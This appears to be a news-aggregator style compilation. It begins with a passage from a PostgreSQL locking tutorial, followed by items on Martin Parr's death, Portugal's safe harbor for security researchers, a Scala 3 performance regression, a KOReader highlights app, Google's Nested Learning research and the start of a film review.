Now the first operator would like to update the last table row, but it is already locked by the second operator. Hence a deadlock.

One of the transactions aborts:

||     ERROR:  deadlock detected
||     DETAIL:  Process 16549 waits for ShareLock on transaction 530699; blocked by process 16513.
||     Process 16513 waits for ShareLock on transaction 530700; blocked by process 16549.
||     HINT:  See server log for query details.
||     CONTEXT:  while updating tuple (0,2) in relation "accounts"

And the second one continues:

|  UPDATE 3

Engaging details of detecting and preventing deadlocks can be found in the lock manager README .

This completes a talk on deadlocks, and we proceed to the remaining object-level locks.

Locks on non-relations

When we need to lock a resource that is not a relation in the meaning of PostgreSQL, locks of the object type are used. Almost whatever we can think of can refer to such resources: tablespaces, subscriptions, schemas, enumerated data types and so on. Roughly, this is everything that can be found in the system catalog.

Illustrating this by a simple example. Let's start a transaction and create a table in it:

=> BEGIN;
=> CREATE TABLE example(n integer);

Now let's see what locks of the object type appeared in pg_locks :

=> SELECT
  database,
  (SELECT datname FROM pg_database WHERE oid = l.database) AS dbname,
  classid,
  (SELECT relname FROM pg_class WHERE oid = l.classid) AS classname,
  objid,
  mode,
  granted
FROM pg_locks l
WHERE l.locktype = 'object' AND l.pid = pg_backend_pid();
 database | dbname | classid |  classname   | objid |      mode       | granted
----------+--------+---------+--------------+-------+-----------------+---------
        0 |        |    1260 | pg_authid    | 16384 | AccessShareLock | t
    16386 | test   |    2615 | pg_namespace |  2200 | AccessShareLock | t
(2 rows)

To figure out what in particular is locked here, we need to look at three fields: database , classid and objid . We start with the first line.

database is the OID of the database that the resource being locked relates to. In this case, this column contains zero. It means that we deal with a global object, which is not specific to any database.

classid contains the OID from pg_class that matches the name of the system catalog table that actually determines the resource type. In this case, it is pg_authid , that is, a role (user) is the resource.

objid contains the OID from the system catalog table indicated by classid .

=> SELECT rolname FROM pg_authid WHERE oid = 16384;
 rolname
---------
 student
(1 row)

We work as student , and this is exactly the role locked.

Now let's clarify the second line. The database is specified, and it is test , to which we are connected.

classid indicates the pg_namespace table, which contains schemas.

=> SELECT nspname FROM pg_namespace WHERE oid = 2200;
 nspname
---------
 public
(1 row)

This shows that the public schema is locked.

So, we've seen that when an object is created, the owner role and schema in which the object is created get locked (in a shared mode). And this is reasonable: otherwise, someone could drop the role or schema while the transaction is not completed yet.

=> ROLLBACK;

Lock on relation extension

When the number of rows in a relation (table, index or materialized view) increases, PostgreSQL can use free space in available pages for inserts, but evidently, once new pages also have to be added. Physically they are added at the end of the appropriate file. And this is meant by a relation extension .

To ensure that two processes do not rush to add pages simultaneously, the extension process is protected by a specialized lock of the extend type. The same lock is used when vacuuming indexes for other processes to be unable to add pages during the scan.

This lock is certainly released without waiting for completion of the transaction.

Earlier, tables could extend only by one page at a time. This caused issues during simultaneous row inserts by several processes; therefore, starting with PostgreSQL 9.6, several pages are added to tables at once (in proportion to the number of waiting processes, but not greater than 512).

Page lock

Page-level locks of the page type are used in the only case (aside from predicate locks, to be discussed later).

GIN indexes enable us to accelerate search in compound values, for instance: words in text documents (or array elements). To a first approximation, these indexes can be represented as a regular B-tree that stores separate words from the documents rather than the documents themselves. Therefore, when a new document is added, the index has to be rebuilt pretty much in order to add there each new word from the document.

For better performance, GIN index has a postponed insert feature, which is turned on by the fastupdate storage parameter. New words are quickly added to an unordered pending list first, and after a while, everything accumulated is moved to the main index structure. The gains are due to a high probability of occurrence of the same words in different documents.

To prevent moving from the pending list to the main index by several processes simultaneously, for the duration of moving, the index metapage gets locked in an exclusive mode. This does not hinder regular use of the index.

Advisory locks

Unlike other locks (such as relation-level locks), advisory locks are never acquired automatically — the application developer controls them. They are useful when, for instance, an application for some reason needs a locking logic that is not in line with the standard logic of regular locks.

Assume we have a hypothetical resource that does not match any database object (which we could lock using commands such as SELECT FOR or LOCK TABLE). We need to devise a numeric identifier for it. If a resource has a unique name, a simple option is to use its hash code:

=> SELECT hashtext('resource1');
 hashtext  
-----------
 991601810
(1 row)

This is how we have the lock acquired:

=> BEGIN;
=> SELECT pg_advisory_lock(hashtext('resource1'));

As usual, information on locks is available in pg_locks :

=> SELECT locktype, objid, mode, granted 
FROM pg_locks WHERE locktype = 'advisory' AND pid = pg_backend_pid();
 locktype |   objid   |     mode      | granted 
----------+-----------+---------------+---------
 advisory | 991601810 | ExclusiveLock | t
(1 row)

For locking to be really effective, other processes must also acquire a lock on the resource prior to accessing it. Evidently the application must ensure that this rule is observed.

In the above example, the lock will be held through the end of the session rather than the transaction, as usual.

=> COMMIT;
=> SELECT locktype, objid, mode, granted 
FROM pg_locks WHERE locktype = 'advisory' AND pid = pg_backend_pid();
 locktype |   objid   |     mode      | granted 
----------+-----------+---------------+---------
 advisory | 991601810 | ExclusiveLock | t
(1 row)

And we need to explicitly release it:

=> SELECT pg_advisory_unlock(hashtext('resource1'));

A rich collection of functions to work with advisory locks is available for all intents and purposes:

  • pg_advisory_lock_shared has a shared lock acquired.
  • pg_advisory_xact_lock (and pg_advisory_xact_lock_shared ) has a shared lock acquired up to the end of the transaction.
  • pg_try_advisory_lock (as well as pg_try_advisory_xact_lock and pg_try_advisory_xact_lock_shared ) does not wait for a lock, but returns false if a lock could not be acquired immediately.

A collection of try_ functions is one more technique to avoid waiting for a lock, in addition to those listed in the last article .

Predicate locks

The predicate lock term occurred long ago, when early DBMS made first attempts to implement complete isolation based on locks (the Serializable level, although there was no SQL standard at that time). The issue they confronted then was that even locking of all read and updated rows did not ensure complete isolation: new rows that meet the same selection conditions can occur in the table, which causes phantoms to arise (see the article on isolation ).

The idea of predicate locks was to lock predicates rather than rows. If during execution of a query with the condition a > 10 we lock the a > 10 predicate, this won't allow us to add new rows that meet the condition to the table and will enable us to avoid phantoms. The issue is that this problem is computationally complicated; in practice, it can be solved only for very simple predicates.

In PostgreSQL, the Serializable level is implemented differently, on top of the available isolation based on data snapshots. Although the predicate lock term is still used, its meaning drastically changed. Actually these «locks» block nothing; they are used to track data dependencies between transactions.

It is proved that snapshot isolation permits an inconsistent write (write skew) anomaly and a read-only transaction anomaly , but any other anomalies are impossible. To figure out that we deal with one of the two above anomalies, we can analyze dependencies between transactions and discover certain patterns there.

Dependencies of two kinds are of interest to us:

  • One transaction reads a row that is then updated by the second transaction (RW dependency).
  • One transaction updates a row that is then read by the second transaction (WR dependency).

We can track WR dependencies using already available regular locks, but RW dependencies have to be tracked specially.

To reiterate, despite the name, predicate locks bock nothing. A check is performed at the transaction commit instead, and if a suspicious sequence of dependencies that may indicate an anomaly is discovered, the transaction aborts.

Let's look at how predicate locks are handled. To do this, we'll create a table with a pretty large number of locks and an index on it.

=> CREATE TABLE pred(n integer);
=> INSERT INTO pred(n) SELECT g.n FROM generate_series(1,10000) g(n);
=> CREATE INDEX ON pred(n) WITH (fillfactor = 10);
=> ANALYZE pred;

If a query is executed using sequential scan of the entire table, a predicate lock on the entire table gets acquired (even if not all rows meet the filtering condition).

|  => SELECT pg_backend_pid();
|   pg_backend_pid 
|  ----------------
|            12763
|  (1 row)

|  => BEGIN ISOLATION LEVEL SERIALIZABLE;
|  => EXPLAIN (analyze, costs off)
|    SELECT * FROM pred WHERE n > 100;
|                             QUERY PLAN                           
|  ----------------------------------------------------------------
|   Seq Scan on pred (actual time=0.047..12.709 rows=9900 loops=1)
|     Filter: (n > 100)
|     Rows Removed by Filter: 100
|   Planning Time: 0.190 ms
|   Execution Time: 15.244 ms
|  (5 rows)

All predicate locks are acquired in one special mode — SIReadLock (Serializable Isolation Read):

=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
 locktype | relation | page | tuple 
----------+----------+------+-------
 relation | pred     |      |      
(1 row)

|  => ROLLBACK;

But if a query is executed using index scan, the situation changes for the better. If we deal with a B-tree, it is sufficient to have a lock acquired on the rows read and on the leaf index pages walked through — this allows us to track not only specific values, but all the range read.

|  => BEGIN ISOLATION LEVEL SERIALIZABLE;
|  => EXPLAIN (analyze, costs off)
|    SELECT * FROM pred WHERE n BETWEEN 1000 AND 1001;
|                                       QUERY PLAN                                     
|  ------------------------------------------------------------------------------------
|   Index Only Scan using pred_n_idx on pred (actual time=0.122..0.131 rows=2 loops=1)
|     Index Cond: ((n >= 1000) AND (n <= 1001))
|     Heap Fetches: 2
|   Planning Time: 0.096 ms
|   Execution Time: 0.153 ms
|  (5 rows)

=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
 locktype |  relation  | page | tuple 
----------+------------+------+-------
 tuple    | pred       |    3 |   236
 tuple    | pred       |    3 |   235
 page     | pred_n_idx |   22 |      
(3 rows)

Note a few complexities.

First, a separate lock is created for each read tuple, and the number of such tuples can potentially be very large. The total number of predicate locks in the system is limited by the product of parameter values: max_pred_locks_per_transaction × max_connections (the default values are 64 and 100, respectively). The memory for these locks is allocated at the server start; an attempt to exceed this limit will result in errors.

Therefore, escalation is used for predicate locks (and only for them!). Prior to PostgreSQL 10, the limitations were hard coded, but starting this version, we can control the escalation through parameters. If the number of tuple locks related to one page exceeds max_pred_locks_per_page , these locks are replaced with one page-level lock. Consider an example:

=> SHOW max_pred_locks_per_page;
 max_pred_locks_per_page 
-------------------------
 2
(1 row)

|  => EXPLAIN (analyze, costs off)
|    SELECT * FROM pred WHERE n BETWEEN 1000 AND 1002;
|                                       QUERY PLAN                                     
|  ------------------------------------------------------------------------------------
|   Index Only Scan using pred_n_idx on pred (actual time=0.019..0.039 rows=3 loops=1)
|     Index Cond: ((n >= 1000) AND (n <= 1002))
|     Heap Fetches: 3
|   Planning Time: 0.069 ms
|   Execution Time: 0.057 ms
|  (5 rows)

We see one lock of the page type instead of three locks of the tuple type:

=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
 locktype |  relation  | page | tuple 
----------+------------+------+-------
 page     | pred       |    3 |      
 page     | pred_n_idx |   22 |      
(2 rows)

Likewise, if the number of locks on pages related to one relation exceeds max_pred_locks_per_relation , these locks are replaced with one relation-level lock.

There are no other levels: predicate locks are acquired only for relations, pages and tuples and always in the SIReadLock mode.

Certainly, escalation of locks inevitably results in an increase of the number of transactions that falsely terminate with a serialization error, and eventually, the system throuthput will decrease. Here you need to balance RAM consumption and performance.

The second complexity is that different operations with an index (for instance, due to splits of index pages when new rows are inserted) change the number of leaf pages that cover the range read. But the implementation takes this into account:

=> INSERT INTO pred SELECT 1001 FROM generate_series(1,1000);
=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
 locktype |  relation  | page | tuple 
----------+------------+------+-------
 page     | pred       |    3 |      
 page     | pred_n_idx |  211 |      
 page     | pred_n_idx |  212 |      
 page     | pred_n_idx |   22 |      
(4 rows)

|  => ROLLBACK;

By the way, predicate locks are not always released immediately on completion of the transaction since they are needed to track dependencies between several transactions. But anyway, they are controlled automatically.

By no means all types of indexes in PostgreSQL support predicate locks. Before PostgreSQL 11, only B-trees could boast of this, but that version improved the situation: hash, GiST and GIN indexes were added to the list. If index access is used, but the index does not support predicate locks, a lock on the entire index is acquired. This, certainly, also increases the number of false aborts of transactions.

Finally, note that it's the use of predicate locks that limits all transactions to working at the Serializable level in order to ensure complete isolation. If a certain transaction uses a different level, it just won't acquire (and check) predicate locks.

Traditionally, providing you with a link to the predicate locking README , to start exploring the source code with.

Read on .

Martin Parr has died

Hacker News
www.bbc.co.uk
2025-12-07 15:23:48
Comments...
Original Article

Martin Parr, pictured smiling in a black jumper Image source, Getty Images

Photographer Martin Parr, whose colourful images captured British life, has died at the age of 73.

He died on Saturday at his home in Bristol, the director of the Martin Parr Foundation, Jenni Smith, told BBC News.

In a statement , external , the foundation said he would "be greatly missed" and was survived by his wife Susie, daughter Ellen, sister and grandson. It added the family asked for privacy.

The documentary photographer rose to prominence in the mid 1980s, with The Last Resort, his study of working class people on holiday in New Brighton in Merseyside.

New Brighton, England. From ‘The Last Resort’ 1983-85 © Martin Parr / Magnum Photos Image source, Martin Parr Foundation

Image caption,

A photograph from New Brighton, England, 1983-85, from 'The Last Resort'

Parr's works were known for capturing the smallest details of everyday life. His photographs were playful and had humour, but also provoked debate and discussion.

"I make serious photographs disguised as entertainment," he told The Architectural Review in 2020 , external .

"I try to point out when I find universal truths. Truth is subjective, but it's the world how I found it."

For more than 50 years, Parr's photographs observed with an apparently flat but amused and sympathetic eye the quiet rituals and absurdities of his home country, from desolate seaside towns to village fetes and modern shopping centres.

He was known for using a colour saturated palette that mimicked postcards from the 1950s and 1960s.

The shots he took in New Brighton were meant to be about capturing a moment in time and challenging people's perceptions of social classes.

New Brighton, England. From ‘The Last Resort’ 1983-85 Image source, Martin Parr Foundation

Image caption,

A photograph from New Brighton, England, 1983-85, from 'The Last Resort'

The collection showcased the best - and worst - days at the seaside, with pictures of day trippers enjoying picnics among the litter and rundown amenities which characterised the Wirral town at the time.

But those famous seaside shots became very controversial, as he himself acknowledged earlier this year ahead of a new film about his life .

"People from London and the South East, they really didn't know what places in the North looked like," said Parr, now 72.

"The litter was quite terrible, but they just weren't used to it, so it was almost like it was my fault that the place looked so scruffy."

A photograph of O'Connell Bridge, Dublin, 1981, from 'Bad Weather' Image source, Martin Parr Foundation

Image caption,

A photograph from O'Connell Bridge, Dublin, 1981, from 'Bad Weather'

Last month, in an interview with AFP, he warned the world needs the kind of satire captured in his images more than ever.

"The state we're all in is appalling," he said. "We're all too rich. We're consuming all these things in the world. And we can't. It's unsustainable."

Photographer Diane Smyth, editor of the British Journal of Photography, called Parr a "giant of post-war photography" in a tribute posted on Instagram , external .

"He was a hoot - always up for a call, especially if it was very early, and always very direct. He did he own thing, worked incredibly hard, helped others along the way - a life well-lived."

Jonathan Stephenson, who collaborated on art and design projects with Parr over the years, told BBC News he died peacefully watching football, adding he was "a firm and loyal friend".

"It was a massive privilege - and continually inspiring - to engage with Martin's eyes and mind," he said. "Martin's enthusiasm for everyday life was infectious."

Portugal updates cybercrime law to exempt security researchers

Bleeping Computer
www.bleepingcomputer.com
2025-12-07 15:09:44
Portugal has modified its cybercrime law to establish a legal safe harbor for good-faith security research and to make hacking non-punishable under certain strict conditions. [...]...
Original Article

Portugal updates cybercrime law to exempt security researchers

Portugal has modified its cybercrime law to establish a legal safe harbor for good-faith security research and to make hacking non-punishable under certain strict conditions.

First spotted by Daniel Cuthbert , a new provision in Article 8.o-A , titled "Acts not punishable due to public interest in cybersecurity," provides a legal exemption for actions that previously were classified as illegal system access or illegal data interception.

The exemption only applies when security researchers act for the purpose of identifying vulnerabilities and contributing to cybersecurity. The key conditions that must be met to beee safe from criminal liability are:

  1. The research must aim solely at identifying vulnerabilities not created by the researcher and at improving cybersecurity through disclosure.
  2. The researcher cannot seek or receive any economic benefit beyond normal professional compensation.
  3. The researcher must immediately report the vulnerability to the system owner, any relevant data controller, and the CNCS.
  4. The actions must be strictly limited to what is necessary to detect the vulnerability and must not disrupt services, alter or delete data, or cause harm.
  5. The research must not involve any unlawful processing of personal data under GDPR.
  6. The researcher must not use prohibited techniques such as DoS or DDoS attacks, social engineering, phishing, password theft, intentional data alteration, system damage, or malware deployment.
  7. Any data obtained during the research must remain confidential and be deleted within 10 days of the vulnerability being fixed.
  8. Acts performed with the system owner's consent are also exempt from punishment, but any vulnerabilities found must still be reported to the CNCS.

The new article clearly defines the limits of security research, and at the same time provides legal protection for well-intended hackers.

In November 2024, the Federal Ministry of Justice in Germany introduced a draft law that provided similar protections to security researchers who discover and responsibly report security flaws to vendors.

Earlier, in May 2022, the U.S. Department of Justice (DOJ) announced revisions to its federal prosecution policies regarding Computer Fraud and Abuse Act (CFAA) violations, adding an exemption for "good-faith" research.

Under these legal frameworks, security research is not only recognized but also given the safe space to proactively probe systems, uncover vulnerabilities, and report them without fear of legal consequences.

tines

Break down IAM silos like Bitpanda, KnowBe4, and PathAI

Broken IAM isn't just an IT problem - the impact ripples across your whole business.

This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

Scala 3 slowed us down?

Hacker News
kmaliszewski9.github.io
2025-12-07 15:08:17
Comments...
Original Article

Is this clickbait? Not really.
Is this the fault of the language or the compiler? Definitely not.
Rather, it was part of a rushed migration. Sharing the lessons learned in the process.

I was refreshing one of our services. Part of this process was to migrate codebase from Scala 2.13 to Scala 3. I’ve done this a few times before and overall had a positive experience. Well, at least until we talk about projects with macro wizardry.

The service in question had no macros at all, but it was at the heart of data ingestion, so performance was not an afterthought.

I did it as usual - updating dependencies, compiler options and some type/syntax changes.

Then after resolving few tricky implicit resolutions and config derivations, project compiled on Scala 3.7.3 🎉

All tests passed, end-to-end flow locally works perfectly fine, so I decided to roll out the changes in a testing environment. Similarly, no issues at all. No concerning logs, all metrics ranging from infrastructure, through JVM up to application level look healthy.

With that in mind, I began a staged rollout. Again, all seem good. I kept observing the service but it looked like my job is done.

Well, as you probably can guess, it wasn’t.

The mysterious slowdown

After 5-6 hours, Kafka lag started increasing on a few environments. Of course, this wasn’t something new. Most often it is caused by a spike of data. We have pretty advanced machinery to deal with that. Usually the lag resolves by itself without any manual action.

However, this time something was off. Upstream load turned out to be relatively modest, yet we needed much more instances of the service - meaning the processing rate per instance dropped. I was confused to say the least. Why would it decrease the processing rate just on these environments?

Anyway, we decided to rollback the changes - this brought the rate back.

Digging deeper

I came back to testing. In particular, load testing. However similarly as on production environments I did not notice regression. So I played around with different payloads and granularity of messages. To my surprise, for more fine-grained, heterogeneous workloads, the processing rate significantly dropped.

Still, I had no idea why it would happen, but my bet was in the dependencies. Therefore, I tried one-by-one, reverting the serialization library, database SDK, base Docker image and even config libraries. None of these made any changes.

This made me pull out the big guns. I profiled the service using async-profiler and indeed

CPU profile looked vastly different on Scala 3 than on 2.13.

scala2_13_flamegraph

scala3_flamegraph

JVM-level CPU time was now dominated by JIT compiler while application-level by decoding.

Looking at the top of Scala 3 flamegraph I noticed a long quicklens call.

quicklens_flamegraph

What used to be transparent (frankly, I didn’t even realize we used the library), now took almost half of the total CPU time. I compared how it looks on Scala 2.13 and it was barely noticeable with around 0.5% samples.

Turns out there was indeed a subtle bug making chained evaluations inefficient in Scala 3. This also explained why the JVM spent so much time compiling.

After upgrading the library, performance and CPU characteristics on Scala 3 became indistinguishable from Scala 2.13.

Takeaways

While the details of the bug are pretty interesting(hats off to the SoftwareMill team for catching it!), that’s not my point here. I want to emphasize that libraries can behave very differently between Scala versions , especially when they rely on meta-programming.

Even if your migration is seamless and the service runs fine on Scala 3 - when performance is not just a nice-to-have, do not assume. Know your hotspots and benchmark them. Otherwise, your code will benchmark you, revealing bottlenecks in places you didn’t even know existed.

KOllector - Publishing KOReader Highlights

Lobsters
tech.stonecharioteer.com
2025-12-07 15:02:16
Comments...
Original Article

In the past year, I’ve almost entirely moved to reading digitally. I’ve used ReadEra previously, and I’ve also used MoonReader back in the day, but I’ve always wanted to try KOReader. I’d originally tried it in 2024, but I couldn’t understand the UI easily, so I gave up and returned to it this year.

Now, I use multiple reading devices, I have a Boox Tab Mini C, a Boox Palma and a few Android phones and tablets. The Boox devices use Neoreader out of the box, but I didn’t want to shift to something hardware-specific. Besides, I was beginning to like KOReader’s pagination and layout options. I’m sure UX gurus will say KOReader makes things hard, and I felt the difficult personally when I started, but after I found the Menu search option and after using it daily for a few weeks, I began to like it.

KOReader doesn’t get in my way. It’s odd to say that, but it really doesn’t. Of course, I loathe the keyboard it provides, I wish it used the device’s on-screen-keyboard, but I understand the choices they made. It’s a great piece of software, one I’m forever grateful for.

Another part of KOReader that I didn’t grok in the beginning was sync. There are a few facets to syncing.

  1. Syncing reading progress

This was easy to setup. I needed to make an account on KOReader cloud and it would sync my progress across my devices, and only my progress.

  1. Syncing the reading statistics

This was slightly harder to do. I had to make an account on Koofr, something I had never heard of, to save the reading statistics, and I need to manually synchronize them whenever I want to update the pretty charts. But once I set it up, this was fairly forgettable, but I keep reminding myself this is why I have the Koofr app on my primary phone from time to time. You don’t need the app, but I installed it back when I set it up and I haven’t removed it yet.

  1. Syncing books

This proved to be something I couldn’t natively do. But I knew I could use Syncthing, and I’m glad that the community fork of the Android app exists. I use Syncthing every day, and primarily for syncing my books across my devices.

  1. Syncing Highlights and Notes

Now this was something I gave up on. Originally, I saw some plugins for Calibre which allowed me to sync the notes. These didn’t work, but I suspect it was a “between keyboard and chair” error. And, I was fairly happy using the manual export option that one time I needed it to convert my highlights into a nice blogpost .

However, I wanted to do this again, and more frequently. I liked the format of that post, but I remember how much time it took me to make said post that I never got around to it.

Now, I’m someone who believes that there’s value in niche software. Even if I’m the only one who’s ever going to be using something, I am ready to write it. I was free this weekend, and I wanted to build something fun.

Originally, I’d tackled this with a single Python script, using Click for the CLI and cleaning the JSON that I exported from KOReader.

I never went back to that script because: 1. I didn’t remember how to use it without reading the code, and 2. I didn’t enjoy that I had to manually get the notes to my laptop to use it.

When I set up the ebook sync, I noticed that KOReader kept the book metadata, including the highlights right next to the books. I didn’t like that, so I used a non-default setting to ensure that it keeps all the highlights and other metadata in the koreader/docsettings folder at the root of any Android device.

This turned out to be a blessing. I created more Syncthing shares, one per device. Each of these corresponded to the docsettings file on those devices, and they were all synced to my computer at ~/syncthing/ebook-highlights/ folder, with the device name as the folder name.

❯ tree -d -L 1 ~/syncthing/ebooks-highlights/
/home/stonecharioteer/syncthing/ebooks-highlights/
├── boox-palma
├── boox-tab-mini-c
├── lenovo-ideatab
├── opo
└── s9u

Now, I had to just figure out how to use this.

I originally considered setting up Jenkins or Rundeck on my homelab MiniPC. I assumed that I could write some scripts that would take care of parsing the files, merging them and updating all these folders with the merged notes.

However, I realized I wanted additional features when I spent some time thinking about this.

First, I didn’t really care that my highlights were synced across devices. I mostly read different books on different devices. Mostly . The only devices that have some overlap are my Boox devices. And, I don’t use the larger Android tablets for the same books, I use those for technical reads.

Soon, I realized that what I wanted is a management system for my highlights.

I experimented with trying to export my highlights to Karakeep, originally, but I wasn’t happy with that either. I didn’t want to have to share my highlights to Karakeep from my reading devices, and I didn’t enjoy writing a request-handler for Karakeep’s API. I’m not very sure what my experience was with it, but I didn’t feel like that was the solution.

Instead, I wanted an application that was dedicated towards getting my highlights out of my reading devices and into my blog, not all of them, but the ones I cared about.

Having set that requirement, I then decided I’d stick to what I knew for this. Asking AI to write applications is fun, but it also decides to use React or Next.js all the time. I don’t want an SPA, not at the very least. And I wanted to be able to read and understand every bit of code that it spat out. So I chose what I’m good at.

Flask. I began building this application in Flask, using Jinja2 templates and Bootstrap CSS. Oddly enough, I realized that this resulted in an aesthetic that felt less-alien to me.

For the colors, I generated the banner using Gemini and Nano Banana, and I then used this online tool to generate a color palette from the image.

I originally called it koreader-highlights-collector , until the idea to call it KOllector became obvious.

My goal with KOllector was extremely personal. I wanted to write something simple that solved a deeply personal need. I remarked to my friends that I do not see any one else needing this, but it’s something I definitely see myself using.

I don’t want to use this post to document how the code works, but I wanted to show off some screenshots because I’m rather happy that it doesn’t look like the usual vibe-coded sites I’ve seen thus far.

It reminds me a lot of the internet in the 2010s, and that is a great reason to smile.

Screenshots

Landing Page

Browsing Your Reading Library

Book list page showing multiple books with covers The book list page with search and sorting capabilities

Managing Book Metadata

Book detail editor showing metadata fields Editing book metadata and fetching information from Open Library

Viewing Highlights Across Devices

Book detail page with highlights Viewing all highlights for a book with device filtering

Sharing Individual Quotes

Exported quote as image A generated quote image with book cover background

Configuration

Each source folder here corresponds to one device’s docsettings folder. That way, I can tag each as a “device” and have that show up in the quotes as well, to show what I’ve highlighted in which device.

Configuration page for managing source folders Configuring source folders and device labels

Exporting to Blog Posts

I wanted support for Jinja2 templates to export a book’s highlights and its cover to file, just so that I can use it in my blog. I thought about doing it automatically when ingesting new highlights, but I didn’t want to tie the implementation down to my specific way of using it. I also wanted to be able to use this to export highlights to a JSON if required.

I also accounted for multiple templates, so that I can have different versions of templates that I test this with.

The backend kicks off a celery task for this and provides a separate job tracker page so that it doesn’t slow down the front end.

Export template selection Choosing an export template for generating blog posts

Next Steps

I am not done building KOllector. I plan to use this regularly to publish book posts to my blog, and continuously upgrade it. I think there’s a lot more I can envision here, and I’m happy I spent my weekend building this.

I used KOllector to publish my reading notes on Adam Hochschild’s King Leopold’s Ghost , and that made this entirely worth the effort.

Nested Learning: A new ML paradigm for continual learning

Hacker News
research.google
2025-12-07 14:47:02
Comments...
Original Article

The last decade has seen incredible progress in machine learning (ML), primarily driven by powerful neural network architectures and the algorithms used to train them. However, despite the success of large language models (LLMs), a few fundamental challenges persist, especially around continual learning, the ability for a model to actively acquire new knowledge and skills over time without forgetting old ones.

When it comes to continual learning and self-improvement, the human brain is the gold standard. It adapts through neuroplasticity — the remarkable capacity to change its structure in response to new experiences, memories, and learning. Without this ability, a person is limited to immediate context (like anterograde amnesia ). We see a similar limitation in current LLMs: their knowledge is confined to either the immediate context of their input window or the static information that they learn during pre-training.

The simple approach, continually updating a model's parameters with new data, often leads to “ catastrophic forgetting ” (CF), where learning new tasks sacrifices proficiency on old tasks. Researchers traditionally combat CF through architectural tweaks or better optimization rules. However, for too long, we have treated the model's architecture (the network structure) and the optimization algorithm (the training rule) as two separate things, which prevents us from achieving a truly unified, efficient learning system.

In our paper, “ Nested Learning: The Illusion of Deep Learning Architectures ”, published at NeurIPS 2025 , we introduce Nested Learning, which bridges this gap. Nested Learning treats a single ML model not as one continuous process, but as a system of interconnected, multi-level learning problems that are optimized simultaneously. We argue that the model's architecture and the rules used to train it (i.e., the optimization algorithm) are fundamentally the same concepts; they are just different "levels" of optimization, each with its own internal flow of information ("context flow") and update rate. By recognizing this inherent structure, Nested Learning provides a new, previously invisible dimension for designing more capable AI, allowing us to build learning components with deeper computational depth, which ultimately helps solve issues like catastrophic forgetting.

We test and validate Nested Learning through a proof-of-concept, self-modifying architecture that we call “Hope”, which achieves superior performance in language modeling and demonstrates better long-context memory management than existing state-of-the-art models.

The Nested Learning paradigm

Nested Learning reveals that a complex ML model is actually a set of coherent, interconnected optimization problems nested within each other or running in parallel. Each of these internal problems has its own context flow — its own distinct set of information from which it is trying to learn.

This perspective implies that existing deep learning methods work by essentially compressing their internal context flows. More importantly, Nested Learning reveals a new dimension for designing models, allowing us to build learning components with deeper computational depth.

To illustrate this paradigm, we look at the concept of associative memory — the ability to map and recall one thing based on another (like recalling a name when you see a face).

  • We show that the training process itself, specifically the backpropagation process, can be modeled as an associative memory. The model learns to map a given data point to the value of its local error, which serves as a measure of how "surprising" or unexpected that data point was.
  • Similarly, following previous studies (e.g., Miras ), key architectural components, such as the attention mechanism in transformers , can also be formalized as simple associative memory modules that learn the mapping between tokens in a sequence.

By defining an update frequency rate, i.e., how often each component's weights are adjusted, we can order these interconnected optimization problems into "levels." This ordered set forms the heart of the Nested Learning paradigm.

Putting Nested Learning to work

The Nested Learning perspective immediately gives us principled ways to improve existing algorithms and architectures:

Deep optimizers

Since Nested Learning views optimizers (e.g., momentum-based optimizers) as associative memory modules, it allows us to apply principles from associative memory perspective to them. We observed that many standard optimizers rely on simple dot-product similarity (a measure of how alike two vectors are by calculating the sum of the products of their corresponding components) whose update doesn't account for how different data samples relate to each other. By changing the underlying objective of the optimizer to a more standard loss metric, such as L2 regression loss (a common loss function in regression tasks that quantifies the error by summing the squares of the differences between predicted and true values), we derive new formulations for core concepts like momentum, making them more resilient to imperfect data.

Continuum memory systems

In a standard Transformer, the sequence model acts as a short-term memory, holding the immediate context, while the feedforward neural networks act as long-term memory, storing pre-training knowledge. The Nested Learning paradigm extends this concept into what we call a “continuum memory system” (CMS), where memory is seen as a spectrum of modules, each updating at a different, specific frequency rate. This creates a much richer and more effective memory system for continual learning.

Hope: A self-modifying architecture with continuum memory

As a proof-of-concept, we used Nested Learning principles to design Hope, a variant of the Titans architecture. Titans architectures are long-term memory modules that prioritize memories based on how surprising they are. Despite their powerful memory management, they only have two levels of parameters update, resulting in a first-order in-context learning. Hope, however, is a self-modifying recurrent architecture that can take advantage of unbounded levels of in-context learning and also is augmented with CMS blocks to scale to larger context windows. It can essentially optimize its own memory through a self-referential process , creating an architecture with infinite, looped learning levels.

Experiments

We conducted experiments to evaluate the effectiveness of our deep optimizers and the performance of Hope on language modeling, long-context reasoning, continual learning, and knowledge incorporation tasks. The full results are available in our paper .

Results

Our experiments confirm the power of Nested Learning, the design of continuum memory systems, and self-modifying Titans.

On a diverse set of commonly used and public language modeling and common-sense reasoning tasks, the Hope architecture demonstrates lower perplexity and higher accuracy compared to modern recurrent models and standard transformers.

Hope showcases superior memory management in long-context Needle-In-Haystack (NIAH) downstream tasks, proving that the CMSs offer a more efficient and effective way to handle extended sequences of information.

Conclusion

The Nested Learning paradigm represents a step forward in our understanding of deep learning. By treating architecture and optimization as a single, coherent system of nested optimization problems, we unlock a new dimension for design, stacking multiple levels. The resulting models, like the Hope architecture, show that a principled approach to unifying these elements can lead to more expressive, capable, and efficient learning algorithms.

We believe the Nested Learning paradigm offers a robust foundation for closing the gap between the limited, forgetting nature of current LLMs and the remarkable continual learning abilities of the human brain. We are excited for the research community to explore this new dimension and help us build the next generation of self-improving AI.

Acknowledgements

This research was conducted by Ali Behrouz, Meisam Razaviyayn, Peilin Zhong, and Vahab Mirrokni. We thank Praneeth Kacham and Corinna Cortes for reviewing the work and their valuable suggestions. We also thank Yuan Deng and Zeman Li. Finally, we thank Mark Simborg and Kimberly Schwede for their help in crafting this blog post.

“A House of Dynamite” Is the Wrong Metaphor for US Nukes

Portside
portside.org
2025-12-07 14:46:24
“A House of Dynamite” Is the Wrong Metaphor for US Nukes Marti Sun, 12/07/2025 - 09:46 ...
Original Article

A House of Dynamite is written like an op-ed. Its characters speak in terse paragraphs that tend to close with punchy kickers. And true to the op-ed genre, all the film’s big ideas are communicated through metaphors.

